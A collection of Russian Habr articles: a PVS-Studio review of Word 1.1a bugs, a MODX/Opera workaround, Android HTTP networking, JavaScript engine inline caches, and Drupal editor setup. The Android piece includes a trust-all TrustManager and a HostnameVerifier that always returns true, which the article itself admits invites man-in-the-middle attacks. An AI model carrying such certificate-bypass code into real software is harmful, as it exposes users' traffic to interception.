Решение оказалось несложным, а прирост достаточным, чтобы операция выполнялась лишь немного дольше, чем при полной загрузки файла в память. Расход оперативной памяти тоже был незначительным. Источником вдохновения стал принцип загрузки данных из RAM в кеши процессора: когда вы обращаетесь к элементу массива, процессор копирует себе в кеш десяток соседних элементов, ведь часто так выходит, что нужные элементы оказываются рядом. Есть даже ряд структур данных использующие эту оптимизацию процессоров, для получения максимальной производительности. Именно из-за этой особенности произвольный доступ к элементам массива значительно медленнее чем последовательный. Аналогичный механизм реализовали и мы: вычитали окно в тысячу строк, заодно запомнили их смещения в файле. При обращении к 1001 строке, выбросим первые 500 строк, загрузим следующие 500. Если вдруг окажется, что нужна какая-то из первых 500 строк, то сходим за ней отдельно, ведь offset уже есть.
Моралью этой истории может быть необходимость тщательной формулировки и проверки нефункциональных требований, а создание какого-то внутреннего чеклиста в голове у разработчика. С другой стороны такой чеклист может привести к преждевременной оптимизации, а излишняя концентрация на нефункциональных требованиях задержит начало их разработки, и все возможные проблемы все-равно не решит. В итоге мы для себя просто навсегда запомнили, что с персистентной памятью работать нужно последовательно.
Заключение
----------
Промежуточные итоги могут быть следующими:
* VS и SSMS до сих 32 битные приложения. Расширениям для них приходится уживаться в 32 битном адресном пространстве
* Все сборки, всех расширений грузятся в один AppDomain. С этим могут быть проблемы при использовании общих ThirdParty
* Необходимо тщательно исследовать каждую ThirdParty библиотеку, включаемую в проект, не только на предмет удобства и производительности, но и стабильности
* Повторю вывод из прошлой статьи. После успешной оптимизации производительности, снимите профиль использования оперативной памяти и наоборот
*До встречи в заключительной части!* | https://habr.com/ru/post/504574/ | null | ru | null |
# Занимательная археология. Или PVS-Studio проверяет Microsoft Word 1.1a
Недавно компания Microsoft сделала подарок всем программистам, которые хотят покопаться в чем-то интересном. Microsoft открыли исходный код MS-DOS v 1.1, v 2.0 и Word for Windows 1.1a. Операционная система MS-DOS написана на ассемблере, и к ней анализатор не применим. А вот Word написан на языке Си. Исходным кодам Word 1.1a почти 25 лет, однако нам кое-как удалось их проверить. Конечно никакой практической ценности в этой проверке нет. Just for fun.
Где поживиться исходниками
--------------------------
Возможно, многим будет интересна не сколько эта статья, а сам факт, что можно скачать исходные коды MS-DOS v 1.1, v 2.0 и Word for Windows 1.1a. Тем, кому интересно самим покопаться в исходных кодах, отправляю к первоисточнику.
Пресс-релиз: [Computer History Museum Makes Historic MS-DOS and Word for Windows Source Code Available to the Public](http://www.viva64.com/go.php?url=1371).
Проверка Word 1.1a
------------------
Рисунок 1. Word for Windows 1.1a.
Word for Windows 1.1a был выпущен в 1990 году. 25 марта 2014 код этого продукта стал доступен публике. Word был и остаётся флагманским продуктом компании Microsoft. Мне и многим другим интересно посмотреть на внутренности программного продукта, который так сильно поспособствовал коммерческим успехам компании Microsoft.
Я решил проверить код Word 1.1a с помощью нашего инструмента [PVS-Studio](http://www.viva64.com/ru/pvs-studio/). Это статический анализатор Си/Си++ кода. Естественно, это не так просто. Анализатор рассчитан на работу с проектами, разрабатываемыми как минимум в Visual Studio 2005. А сейчас предо мной исходники на языке Си, которым более 20 лет. Можно сказать, что это доисторические времена. По крайней мере, тогда не существовало стандарта языка Си. Каждый компилятор был сам по себе. К счастью, в исходных кодах Word 1.1a не оказалось каких-то необычных моментов и использования большого количества нестандартных расширений компилятора.
Для анализа необходимы [препроцессированные файлы](http://www.viva64.com/ru/t/0076/) (\*.i). Имея препроцессированные файлы, можно воспользоваться инструментом [PVS-Studio Standalone](http://www.viva64.com/ru/b/0219/). С его помощью можно выполнить анализ и изучить диагностические сообщения. Конечно, анализатор не рассчитан на анализ 16-битных программ. Но этих результатов анализа будет вполне достаточно для удовлетворения любопытства. Внимательно анализировать проект 24 летней давности нет никакого практического смысла.
Итак, основная загвоздка состояла в том, как получить препроцессированные файлы. Я попросил своего коллегу поколдовать в этом направлении. Он подошёл к решению весьма творчески. Он выполнил препроцессирование с помощью GCC 4.8.1. Вряд ли кто-то ещё так издевался над исходниками Word 1.1. Использовать GCC — надо ведь было такое придумать. Фантазёр.
Самое интересное, что вышло вполне удачно. Была написана маленькая утилита, которая запускала препроцессирование с помощью GCC 4.8.1 на каждый файл из директории, в которой он лежал. По мере вывода ошибок, связанных с включением заголовочных файлов, в параметры запуска добавлялись ключи -I с путём до нужных файлов. Парочка ненайденных заголовочных файлов были созданы пустыми. Все остальные проблемы раскрытия #include были связаны с включением ресурсов, поэтому были закомментированы. При препроцессировании определялся макрос WIN, т.к. в коде есть ветка для WIN и MAC.
Дальше в дело вступил PVS-Studio Standalone и ваш покорный слуга. Я выписал подозрительные фрагменты кода и готов вам их показать. Но вначале ещё кое что о проекте.
Разное о коде Word 1.1a
-----------------------
### Самые сложные функции
Самая большая цикломатическая сложность у следующих функций:1. CursUpDown — 219;
2. FIdle — 192;
3. CmdDrCurs1 — 142.
### #ifdef WIN23
Просматривая исходные коды и встретив "#ifdef WIN23", я заулыбался. И даже выписал это место. Я подумал, что это опечатка и должно быть написано #ifdef WIN32.
Когда я увидел WIN23 второй раз я засомневался. А потом вдруг осознал, что я смотрю исходники 24 летней давности. WIN23 означает версию Windows 2.3.
### Суровые времена
В коде мне попалась вот такая интересная строка.
```
Assert((1 > 0) == 1);
```
Кажется невероятным, что это условие может не выполниться. Однако, если есть такая проверка, то был и повод ей написать. В те времена не было стандарта на язык. Как я понимаю, было хорошим тоном проверять, насколько работа компилятора соответствует ожиданиям программистов.
Конечно, если считать K&R стандартом, то по идее условие ((1 > 0) == 1) всегда выполняется. Но K&R это был лишь стандарт де-факто и не более. Это проверка на адекватность компилятора.
Результаты проверки
-------------------
Теперь поговорим о подозрительных местах, найденных мною в коде. Думаю, ради этого вы и читаете эту статью. Приступим.
### Бесконечный цикл
```
void GetNameElk(elk, stOut)
ELK elk;
unsigned char *stOut;
{
unsigned char *stElk = &rgchElkNames[mpelkichName[elk]];
unsigned cch = stElk[0] + 1;
while (--cch >= 0)
*stOut++ = *stElk++;
}
```
Предупреждение PVS-Studio: [V547](http://www.viva64.com/ru/d/0137/) Expression '-- cch >= 0' is always true. Unsigned type value is always >= 0. mergeelx.c 1188
Цикл «while (--cch >= 0)» никогда не остановится. Переменная 'cch' имеет тип unsigned. Значит, сколько не уменьшай эту переменную, она всегда останется >= 0.
### Выход за границу массива из-за опечатки
```
uns rgwSpare0 [5];
DumpHeader()
{
....
printUns ("rgwSpare0[0] = ", Fib.rgwSpare0[5], 0, 0, fTrue);
printUns ("rgwSpare0[1] = ", Fib.rgwSpare0[1], 1, 1, fTrue);
printUns ("rgwSpare0[2] = ", Fib.rgwSpare0[2], 0, 0, fTrue);
printUns ("rgwSpare0[3] = ", Fib.rgwSpare0[3], 1, 1, fTrue);
printUns ("rgwSpare0[4] = ", Fib.rgwSpare0[4], 2, 2, fTrue);
....
}
```
Предупреждение PVS-Studio: [V557](http://www.viva64.com/ru/d/0148/) Array overrun is possible. The '5' index is pointing beyond array bound. dnatfile.c 444
Как-то так получилось, что в первой строке написано: Fib.rgwSpare0[5]. Это неправильно. В массиве всего 5 элементов, а значит максимальный индекс должен быть равен 4. Значение '5' это результат опечатки. По всей видимости в первой строке должен был использоваться нулевой индекс:
```
printUns ("rgwSpare0[0] = ", Fib.rgwSpare0[0], 0, 0, fTrue);
```
### Неинициализированная переменная
```
FPrintSummaryInfo(doc, cpFirst, cpLim)
int doc;
CP cpFirst, cpLim;
{
int fRet = fFalse;
int pgnFirst = vpgnFirst;
int pgnLast = vpgnLast;
int sectFirst = vsectFirst;
int sectLast = sectLast;
....
}
```
Предупреждение PVS-Studio: [V573](http://www.viva64.com/ru/d/0173/) Uninitialized variable 'sectLast' was used. The variable was used to initialize itself. print2.c 599
Переменная 'sectLast' присваивается сама себе:
```
int sectLast = sectLast;
```
Кажется, для инициализации должна была быть использована переменная 'vsectLast':
```
int sectLast = vsectLast;
```
Нашлось ещё одна идентичная ошибка. Видимо последствие Copy-Paste:
V573 Uninitialized variable 'sectLast' was used. The variable was used to initialize itself. print2.c 719
### Неопределённое поведение
```
CmdBitmap()
{
static int iBitmap = 0;
....
iBitmap = ++iBitmap % MAXBITMAP;
}
```
Предупреждение PVS-Studio: [V567](http://www.viva64.com/ru/d/0173/) Undefined behavior. The 'iBitmap' variable is modified while being used twice between sequence points. ddedit.c 107
Не знаю, как к такому коду относились 20 лет назад. Но сейчас это считается хулиганством, так как приводит к неопределённому поведению.
Аналогично: * V567 Undefined behavior. The 'iIcon' variable is modified while being used twice between sequence points. ddedit.c 132
* V567 Undefined behavior. The 'iCursor' variable is modified while being used twice between sequence points. ddedit.c 150
### Неудачный вызов функции printf()
```
ReadAndDumpLargeSttb(cb,err)
int cb;
int err;
{
....
printf("\n - %d strings were read, "
"%d were expected (decimal numbers) -\n");
....
}
```
Предупреждение PVS-Studio: [V576](http://www.viva64.com/ru/d/0176/) Incorrect format. A different number of actual arguments is expected while calling 'printf' function. Expected: 3. Present: 1. dini.c 498
Функция printf(), это функция с [переменным количеством аргументов](http://www.viva64.com/ru/t/0069/). Ей можно передать аргументы, а можно и не передать. Вот здесь про аргументы забыли, в результате чего будет распечатан мусор.
### Неинициализированные указатели
В одной из вспомогательных утилит, которая имеется в составе исходников Word, можно встретить что-то вообще непонятное.
```
main(argc, argv)
int argc;
char * argv [];
{
FILE * pfl;
....
for (argi = 1; argi < argc; ++argi)
{
if (FWild(argv[argi]))
{
FEnumWild(argv[argi], FEWild, 0);
}
else
{
FEWild(argv[argi], 0);
}
fclose(pfl);
}
....
}
```
Предупреждение PVS-Studio: [V614](http://www.viva64.com/ru/d/0230/) Uninitialized pointer 'pfl' used. Consider checking the first actual argument of the 'fclose' function. eldes.c 87
Переменная 'pfl' не инициализируется до цикла и в самом цикле. Зато много раз вызывается функция fclose(pfl). Впрочем, всё это вполне могло успешно работать. Функция вернёт статус ошибки, и программа продолжит свою работу.
А вот ещё одна опасная функция. Скорее всего, её вызов приведёт к аварийному завершению программы.
```
FPathSpawn( rgsz )
char *rgsz[];
{ /* puts the correct path at the beginning of rgsz[0]
and calls FSpawnRgsz */
char *rgsz0;
strcpy(rgsz0, szToolsDir);
strcat(rgsz0, "\\");
strcat(rgsz0, rgsz[0]);
return FSpawnRgsz(rgsz0, rgsz);
}
```
Предупреждение PVS-Studio: V614 Uninitialized pointer 'rgsz0' used. Consider checking the first actual argument of the 'strcpy' function. makeopus.c 961
Указатель ' rgsz0' ничем не инициализируется. Это не мешает начать копировать в него строку.
### Опечатка в условии
```
....
#define wkHdr 0x4000
#define wkFtn 0x2000
#define wkAtn 0x0008
....
#define wkSDoc (wkAtn+wkFtn+wkHdr)
CMD CmdGoto (pcmb)
CMB * pcmb;
{
....
int wk = PwwdWw(wwCur)->wk;
if (wk | wkSDoc)
NewCurWw((*hmwdCur)->wwUpper, fTrue);
....
}
```
Предупреждение PVS-Studio: [V617](http://www.viva64.com/ru/d/0234/) Consider inspecting the condition. The '(0x0008 + 0x2000 + 0x4000)' argument of the '|' bitwise operation contains a non-zero value. dlgmisc.c 409
Условие (wk | wkSDoc) всегда истинно. На самом деле, здесь, скорее всего, хотели написать:
```
if (wk & wkSDoc)
```
В общем, перепутали оператор | и &.
### И под конец длинный, но простой пример
```
int TmcCharacterLooks(pcmb)
CMB * pcmb;
{
....
if (qps < 0)
{
pcab->wCharQpsSpacing = -qps;
pcab->iCharIS = 2;
}
else if (qps > 0)
{
pcab->iCharIS = 1;
}
else
{
pcab->iCharIS = 0;
}
....
if (hps < 0)
{
pcab->wCharHpsPos = -hps;
pcab->iCharPos = 2;
}
else if (hps > 0)
{
pcab->iCharPos = 1;
}
else
{
pcab->iCharPos = 1;
}
....
}
```
Предупреждение PVS-Studio: [V523](http://www.viva64.com/ru/d/0112/) The 'then' statement is equivalent to the 'else' statement. dlglook1.c 873
Когда работают с переменной 'qps', то записывают в 'pcab->iCharIS' следующие значения: 2, 1, 0.
Аналогично работают с переменной 'hps'. Но при этом в переменную 'pcab->iCharPos' помещаются подозрительные числа: 2, 1, 1.
Скорее всего, это опечатка. В самом конце, наверное, следовало использовать ноль.
Заключение
----------
Найдено совсем немного странных мест. Причины две. Во-первых, код мне показался написан качественно и весьма понятно. Во-вторых, анализ был все-таки неполноценным. Учить же анализатор особенностям старого Си нет практической надобности.
Надеюсь, я подарил вам несколько минут интересного чтения. Спасибо за внимание. И попробуйте анализатор PVS-Studio на своём коде.
Эта статья на английском
------------------------
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Archeology for Entertainment, or Checking Microsoft Word 1.1a with PVS-Studio](http://www.viva64.com/en/b/0245/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio и CppCat, версия 2014](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/217921/ | null | ru | null |
# Баг при различных сохранениях в админке MODX Revolution в Opera (Вечная загрузка)
По мне неясным причинам (если кто-то значет истинную причину и почему ее не устраняют — скажите, буду очень благодарен), при использовании Opera для администратировании сайта на MODX Revolution в момент сохранения ресурса появляется окно «вечной» загрузки.
Это окно можно убрать одним способом — обновив страницу. А так как административная часть работает по принципам «AJAX» это очень замедляет работу.
Баг проявляется на момент написания статьи в последней версии Opera 11.10, MODX Revolution 2.1.5-pl (advanced) и Ext JS Library 3.4.0.
Предлагаю временное решение этого вопроса (до выхода новой версии Ext JS Library в состав пакета MODX Revolution или пока MODX (или Opera) это не пофиксят).
Чтобы избавиться от окна «вечной» загрузки необходимо поменять строчку в файле «manager/assets/ext3/ext-all.js»:
```
throw {message:"JsonReader.read: Json object not found"}
```
на:
```
return 1;
```
Пишите комментарии, спасибо за внимание!
P.S. Обратите внимание, что после такого изменения, данные об обновлении страницы не поступят в админку. Другими словами, например, после обновления заголовка страницы, заголовок страницы в дереве ресурсов не обновится (хотя и тут я вижу свой плюс, это дерево не будет каждый раз обновляться, приостаналвивая процесс работы). При необходимости нажмите на соответствующую кнопку в разделе «Ресурсы» (Обновить дерево). Также в модуле Gallery, новые фотографии не будут отображены, зато страница не зависнет и все фото будут успешно загужены, хотя и сразу не отобразятся в области просмотра миниатюр внутри альбома. | https://habr.com/ru/post/133757/ | null | ru | null |
# Работа с сетью в Android: трафик, безопасность и батарейка
На сегодняшний день в Google Play насчитывается более 800 тысяч приложений. Многие из них реализованы на основе клиент-серверного общения. При разработке таких приложений нужно учесть три основных момента, о которых пойдет речь в этой статье.
**О чем нужно помнить при реализации сетевой части приложения**
Первое – это трафик. Не всегда есть возможность работать по бесплатному Wi-Fi-соединению, а мобильный интернет всё еще дорогой, и об этом нужно помнить, потому что трафик – это деньги пользователя.
Второе – это лимит батарейки. Мобильные устройства необходимы пользователю для каких-то повседневных дел, совещаний, прогулок, бизнеса, и когда батарейка садится в самый неподходящий момент, пользователь негодует.
Третье – это безопасность. Так как все-таки речь идет о мобильных клиентах, и данные гуляют по сети от клиента к серверу и обратно, то их необходимо защищать.
**Подходы по реализации сетевого взаимодействия**
Для начала вспомним, какие способы реализации клиент-серверного общения существуют и популярны на сегодняшний день.
Первый подход — на основе сокетов (здесь я имею в виду работу непосредственно с Socket API). Он часто используется в приложениях, где важна скорость доставки сообщения, важен порядок доставки сообщений и необходимо держать стабильное соединение с сервером. Такой способ зачастую реализуется в мессенджерах и играх.
Второй подход — это частые опросы (polling): клиент посылает запрос на сервер и говорит ему: «Дай мне свежие данные»; сервер отвечает на запрос клиента и отдает все, что у него накопилось к этому моменту.
Минус такого подхода в том, что клиент не знает, появились ли свежие данные на сервере. По сети лишний раз гоняется трафик, в первую очередь из-за частых установок соединений с сервером.
Третий подход — длинные опросы (long polling) — заключается в том, что клиент посылает «ожидающий» запрос на сервер. Сервер смотрит, есть ли свежие данные для клиента, если их нет, то он держит соединение с клиентом до тех пор, пока эти данные не появятся. Как только данные появились, он «пушит» их обратно клиенту. Клиент, получив данные от сервера, тут же посылает следующий «ожидающий» запрос и т.д.
Реализация этого подхода достаточно сложна на мобильном клиенте в первую очередь из-за нестабильности мобильного соединения. Зато при этом подходе трафика расходуется меньше, чем при обычном polling’e, т.к. сокращается количество установок соединений с сервером.
Механизм long polling, или пуш-уведомлений (push notifications), реализован в самой платформе Android. И, наверное, для большинства задач будет лучше использовать его, а не реализовывать самим. Ваше приложение подписывается у сервиса Google Cloud Messaging (GCM) на получение пуш-уведомлений.
Тем самым разрывается связь непосредственно между сервером и клиентом за счет того, что сервер работает с сервисом GCM и отправляет свежие данные всегда на этот сервис, а он уже в свою очередь реализует всю логику доставки этих данных до вашего приложения. Плюсы этого подхода в том, что устраняется необходимость частых установок соединения с сервером за счет того, что вы точно знаете, что данные появились, и об этом вас оповещает сервис GCM.
Из этих четырех подходов наиболее популярными при разработке бизнес-приложений являются пуш-уведомления и частые опросы. При реализации этих подходов нам так или иначе придется устанавливать соединение с сервером и передавать данные. Далее речь пойдет об инструментах, которые есть в наличии у разработчика для работы по HTTP/HTTPS-протоколам.
**HttpUrlConnection и HttpClient**
В арсенале Android-разработчика есть два класса для работы по этим протоколам. Первый – это java.net.HttpURLConnection, второй – org.apache.http.client.HttpClient. Обе эти библиотеки включены в Android SDK. Далее будут подробно рассмотрены основные моменты, которые будут влиять на трафик, батарею и безопасность при работе с каждой из этих библиотек.
С HttpURLConnection все просто. Один класс и все. Это объясняется тем, что родительский класс URLConnection был спроектирован для работы не только по HTTP-протоколу, а еще по таким, как file, mailto, ftp и т.п.
HttpClient спроектирован более объектно-ориентированно. В нем есть четкое разделение абстракций. В самом простом случае мы будем работать с пятью разными интерфейсами: HttpRequest, HttpResponse, HttpEntity и HttpContext. Поэтому апачевский клиент намного тяжеловеснее HttpUrlConnection.
Как правило, на все приложение существует всего один экземпляр класса HttpClient. Это обусловлено его тяжеловесностью. Использование отдельного экземпляра на каждый запрос будет расточительным. Мы можем, к примеру, хранить экземпляр HTTP-клиента в наследнике класса Application.
В случае HttpUrlConnection следует создавать на каждый запрос новый экземпляр клиента.
**Из чего складывается трафик?**
Во время работы нашего приложения картинка будет примерно такая.
Количество и частота запросов будет зависеть от функционала и насыщенности UI – интерфейса приложения. Каждый такой запрос устанавливает TCP-соединение с сервером. В данном случае трафик, который будет потрачен, будет равняться сумме установок соединений и сумме переданных данных. Понизить расход трафика в данном случае можно за счет использования долгоживущего соединения (keep alive).
Основная идея keep alive-соединения заключается в использовании одного и то же TCP-соединения для отправки и приема HTTP-запросов. Главные преимущества — снижение трафика и времени выполнения запроса. Мной был проделан простенький тест, который заключался в том, что выполнялось последовательно 10 запросов на один и тот же хост. Данные представлены в таблице ниже. При выключенном keep alive видно, что среднее время выполнения запроса составляло примерно две секунды. В случае с включенным keep alive это время снизилось до 1,7 секунды, что на 16% быстрее. Это обуславливается в первую очередь тем, что устраняется необходимость частой установки соединения с сервером. При использовании защищенного HTTPS-соединения разница была бы заметнее, т.к. процедура SSL Handshake гораздо тяжелее процедуры TCP Handshake.
Важным параметром keep alive-cоединения является keep alive duration. Он означает временной интервал. Если приходит несколько HTTP-запросов в пределах этого интервала, то будет переиспользоваться уже установленное TCP-соединение.
Из рисунка видно, что время между четвертым и третьим запросом превысило keep alive duration, поэтому создается новое TCP-соединение с сервером.
Давайте посмотрим, как можно настроить вышеописанный параметр. В случае HttpClient все хорошо, в нашем распоряжении есть интерфейс ConnectionKeepAliveStrategy. Переопределив метод getKeepAliveDuration, мы можем вернуть нужное значение параметра keep alive duration.
```
httpClient.setKeepAliveStrategy(
new ConnectionKeepAliveStrategy() {
@Override
public long getKeepAliveDuration(
HttpResponse response, HttpContext context) {
return KEEP_ALIVE_DURATION_MILLISECONDS;
}
});
```
Работая с HttpUrlConnection, нужно помнить о [баге в платформе Android 2.2](http://android-developers.blogspot.ru/2011/09/androids-http-clients.html) и отключать keep alive на платформах <= 2.2.
```
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.FROYO) {
System.setProperty("http.keepAlive", "false");
}
```
Второй неприятный (может быть, только для меня) момент при работе с HttpUrlConnection заключается в том, что параметр keep alive duration не поддается настройке (я легального способа не нашел, если кто подскажет — буду признателен). По умолчанию он примерно равен 5 секундам.
Также при работе с keep alive-соединением необходимо стараться вычитывать данные полностью из установленного соединения (коннекшена). Если не донца вычитывать данные, то можно получить коннекшены, которые буду висеть в пуле и «думать», что их еще кто-то собирается читать. Если InputStream успешно получен, читайте тело ответа полностью. [Полное вычитывание очищает коннекшн](http://goo.gl/9cdlz) от данных, и этот коннекшн будет переиспользован с большей вероятностью.
**Работа с кукой (cookie)**
Кука — небольшой фрагмент данных, отправленный веб-сервером и хранимый на компьютере пользователя. В нашем случае компьютером является Android-устройство. На практике куки обычно используются для аутентификации пользователя, хранения его персональных предпочтений и настроек, отслеживания состояния сессии доступа пользователя, ведения статистики о пользователях. Большое количество сервисов начинает разрабатывать мобильные приложения после того, как уже сделана мобильная версия сайта. В такой ситуации интересен вопрос: «Можно ли, получив авторизационную куку в мобильном приложении, установить ее в браузер (в WebView)?». При решении такой задачи есть пара деталей, которые помогут сэкономить ваше время:
1. На плафтормах >= 4.0.3 (API Level 15) должна стоять **точка в начале домена**
2. После вызова метода sync() у CookieSyncManager кука проставится только в WebView внутри вашего приложения, **а в браузере — нет**. Это ограничение накладывает система Android в целях безопасности
**Защищенное соединение (HTTPS)**
В завершение данной статьи я рассмотрю, как включить HTTPS в Android. Насколько мне известно, на других мобильных платформах достаточно включить HTTPS-схему, механизм транспорта SSL — и все должно работать. В Android есть некоторые проблемы, которые следует учитывать и решать. Для начала вспомним, как устанавливается защищенное соединение. На проблемное место указывает красная стрелка – это проверка подлинности сертификата.
На платформах < Android 4.0 при попытке выполнить сетевой запрос по HTTPS вылетит SSLHandshakeException. Возможность установить доверенный сертификат появилась на Android 4.0 с помощью [KeyChain API.](http://developer.android.com/reference/android/security/KeyChain.html) Но как быть с платформами ниже 4.0? На этих плаформах у нас остается два пути:
1. Создавать [локальное хранилище сертификатов](http://goo.gl/5Surx)
2. Доверять любым сертификатам. В этом случае трафик тоже будет шифроваться, но угроза атаки [man in the middle](http://ru.wikipedia.org/wiki/Man_in_the_middle) останется
Если выбор пал на создание локального хранилища сертификатов, то после того как оно будет создано, подключить его можно следующим образом:
— в случае HttpUrlConnection:
…
```
TrustManagerFactory tmf =
TrustManagerFactory.getInstance(algorithm);
KeyStore keyStore = KeyStore.getInstance("BKS");
InputStream in =
context.getResources().openRawResource(mykeystore);
keyStore.load(in, "mysecret".toCharArray());
in.close();
tmf.init(keyStore);
SSLContext sslc = SSLContext.getInstance("TLS");
sslc.init(null, tmf.getTrustManagers(),new SecureRandom());
```
…
— в случае HttpClient:
```
private SSLSocketFactory createSslSocketFactory() {
SSLSocketFactory sf = null;
try {
KeyStore keyStore = KeyStore.getInstance("BKS");
InputStream in =
context.getResources().openRawResource(mykeystore);
keyStore.load(in, "mysecret".toCharArray());
in.close();
sf = new SSLSocketFactory(keyStore);
sf.setHostnameVerifier(STRICT_HOSTNAME_VERIFIER);
} catch (Exception e) {
e.printStackTrace();
}
return sf;
}.
```
C помощью KeyStore.getInstance(«BKS») мы получаем объект KeyStore, который поддерживает Bounce Castle KeyStore format (Java-пакет для работы с крипто-алгоритмами). mykeystore – id ресурса, в котором лежат сертификаты.
mysecret – пароль от KeyStore. Более подробную информацию можно найти по ссылке на локальное хранилище сертификатов, приведенной выше.
Если же выбор пал на «Доверять любым сертификатом», то достаточно реализовать два интерфейса следующим образом:
```
private class DummyHostnameVerifier implements HostnameVerifier{
@Override
public boolean verify(String hostname, SSLSession session) {
return true;
}
}
private class DummyTrustManager implements X509TrustManager{
@Override
public void checkClientTrusted(...) throws CertificateException {
//empty
}
@Override
public void checkServerTrusted(...) throws CertificateException {
//empty
}
...
}
```
Затем следует применить эти реализации либо для HttpClient, либо для HttpUrlConnection.
**А что с батарейкой?**
Расход батареи напрямую зависит от количества устанавливаемых соединений с сервером, т.к. каждая установка активизирует беспроводное радио, которое расходует заряд батареи. О том, как работает беспроводное радио в Android и что влияет на расход батареи, рекомендую почитать в этой статье: [Transferring Data Without Draining the Battery](http://developer.android.com/training/efficient-downloads/index.html).
Прочитав статью, вы наверняка зададитесь вопросом, какой инструмент использовать — HttpClient или HttpUrlConnection? Разработчики платформы Android рекомендуют в новых приложениях использовать HttpUrlConnection, т.к. он прост в использовании, его будут развивать дальше и адаптировать под платформу. HttpClient следует использовать на платформах ниже Android 2.3, в первую очередь из-за серьезного бага с keep alive-соединением.
Эти три момента мы, конечно, учитываем и при разработке наших мобильных приложений. А о чем, в первую очередь, думаете вы? | https://habr.com/ru/post/185696/ | null | ru | null |
# Основы движков JavaScript: общие формы и Inline кэширование. Часть 2
Всем привет! Курс [«Безопасность информационных систем»](https://otus.pw/XXEL/) стартует уже через 2 недели, поэтому сегодня мы хотим опубликовать вторую часть статьи, публикация которой приурочена к его запуску. Прочитать первую часть можно [тут](https://habr.com/ru/company/otus/blog/446446/). Итак, начнем.
**Inline Caches (ICs)**
Основной идеей, которая стоит за формами, является концепция inline кэшей или ICs. Они являются ключевым компонентом быстрой работы JavaScript! Движки JavaScript используют ICs для запоминания информации о том, где найти свойства объектов, чтобы уменьшить количество затратных поисков.
У нас есть функция `getX`, которая принимает на вход объект и загружает из него свойство `x`:
```
function getX(o) {
return o.x;
}
```
Если мы запустим эту функцию в JSC, то получим следующий байткод:
Первая инструкция `get_by_id` загружает свойство `‘x’` из первого аргумента `(arg1)` и хранит результат в `loc0`. Следующая инструкция возвращает то, что мы хранили в `loc0`.
JSC также встраивает *inline Cache* в инструкцию `get_by_id`, которая состоит их двух неинициализированных слотов.
А теперь давайте будем считать, что мы вызываем `getX` вместе с объектом `{ x: 'a' }`. Мы уже знаем, что этот объект имеет свойство `‘x’`, а его форма хранит смещение и атрибуты свойства `х`. Когда вы выполняете функцию в первый раз, инструкция `get_by_id` ищет свойство `‘x’` и обнаруживает, что его значение хранится в смещении 0.
Встроенный в инструкцию `get_by_id` IC запоминает форму и смещение, где было найдено свойство.
Для последующих запусков IC нужно только сравнивать форму, и если она такая же, как и раньше, просто загружать значение из запомненного смещения. В частности, если движок JavaScript видит объекты с формой, которую он записал ранее, ему больше не нужно обращаться за информацией об этих свойствах вообще – вместо этого дорогостоящий поиск информации о свойствах можно полностью пропустить. Это значительно быстрее, чем каждый раз тратить время на поиск свойства.
**Эффективное хранение массивов**
Для массивов общей практикой является хранение индексов массива. Значения таких свойств называются элементами массива. Было бы расточительно хранить атрибуты свойств для каждого элемента массива в отдельном массиве. Вместо этого движки JavaScript опираются на тот факт, что свойства, индексируемые в массиве доступны для записи (writable), перечисления (enumerable) и настройки (configurable) по умолчанию, а также хранят элементы массива отдельно от других именованных свойств.
Рассмотрим приведенный массив:
```
const array = [
'#jsconfeu',
];
```
Движок хранит массив единичной длины и указывает на форму, которая содержит смещение и атрибуты для свойства `‘length’`.
Это похоже на то, что мы уже видели раньше… Но где же хранятся значения элементов массива?
Каждый массив имеет отдельное хранилище резервных копий элементов (elements backing store), содержащее все значения свойств, индексированных массивом. Движку JavaScript не нужно хранить никаких атрибутов свойств для элементов массива, поскольку они обычно доступны для записи (writable), перечисления (enumerable) и настройки (configurable).
А что будет если они вдруг окажутся недоступными для конфигурирования? Что если вы измените атрибуты свойство элементов массива?
```
// Please don’t ever do this!
const array = Object.defineProperty(
[],
'0',
{
value: 'Oh noes!!1',
writable: false,
enumerable: false,
configurable: false,
}
);
```
Отрывок кода сверху определяет свойство, которое называется `‘0’` (при этом оно оказывается индексом массива), оно изменяет значения атрибутов на недефотлные.
В таких крайних случаях движок JavaScript представляет все резервное хранилище элементов как словарь, который сопоставляет индексы массива с атрибутами свойств.
Даже если всего один элемент массива имеет недефолтные атрибуты, все хранилище резервных копий элементов переходит в медленный и неэффективный режим работы. Избегайте `Object.defineProperty` в индексах массива! (Я даже не знаю зачем вам в принципе это использовать. Это кажется странным и нерациональным.)
**Выводы**
Мы узнали, как движки JavaScript хранят объекты и массивы, как формы и inline кэши помогают оптимизировать различные операции. Также в этой статье мы хотим дать несколько практических подсказок для JavaScript, которые могут помочь увеличить производительность вашего кода:
* Всегда инициализируйте свои объекты одинаково, чтобы они не имели различных форм;
* Не связывайтесь с атрибутами свойств элементов массива, дайте им возможность спокойно храниться и эффективно работать.
Вот теперь статью можно считать завершенной. По устоявшейся традиции ждём ваши комментарии и приглашаем записаться на [открытый вебинар](https://otus.pw/mpEp/) по курсу «Безопасность информационных систем», который уже сегодня проведет известный вирусный аналитик и по совместительству наш преподаватель — [Александр Колесников](https://otus.pw/6MAn/).
[Прочитать первую часть.](https://habr.com/ru/company/otus/blog/446446/) | https://habr.com/ru/post/447220/ | null | ru | null |
# Легкий способ публикации картинок в FCKeditor + IMCE + Lightbox2
Drupal очень гибок, именно поэтому он нравиться мне. Любую проблему можно решить несколькими путями.
Перед мною стала задача — сделать загрузку и публикацию картинок в тексте простой и удобной.
Я обращаю ваше внимание на то, что я не собираюсь создавать интерактивные галереи. Я лишь хочу, чтобы юзер мог загружать картинки через удобный визуальный редактор и так же удобно их публиковать.
В качестве редактора я выбрал FCKeditor, в качестве загрузчика картинок и браузера файлов IMCE.
Теперь о самой проблеме.
------------------------
Представим, что вы загрузили картинку на сервер, создали её thumbnail и теперь хотите вставить этот thumbnail в ваш пост. Thumbnail при клике на него должен открывать картинку в оригинальном размере, используя для этого модуль Lightbox2.
Делать вручную — неудобно и долго.
На страницах drupal.ru я нашел решение. Решение заключалось в правке FCKeditor. Так что при каждом обновлении пришлось бы заново править все эти файлы.
Поэтому я решил написать свой велосипед, маленький и не очень гибкий. Но подходящий для моего сайта.
Решение
-------
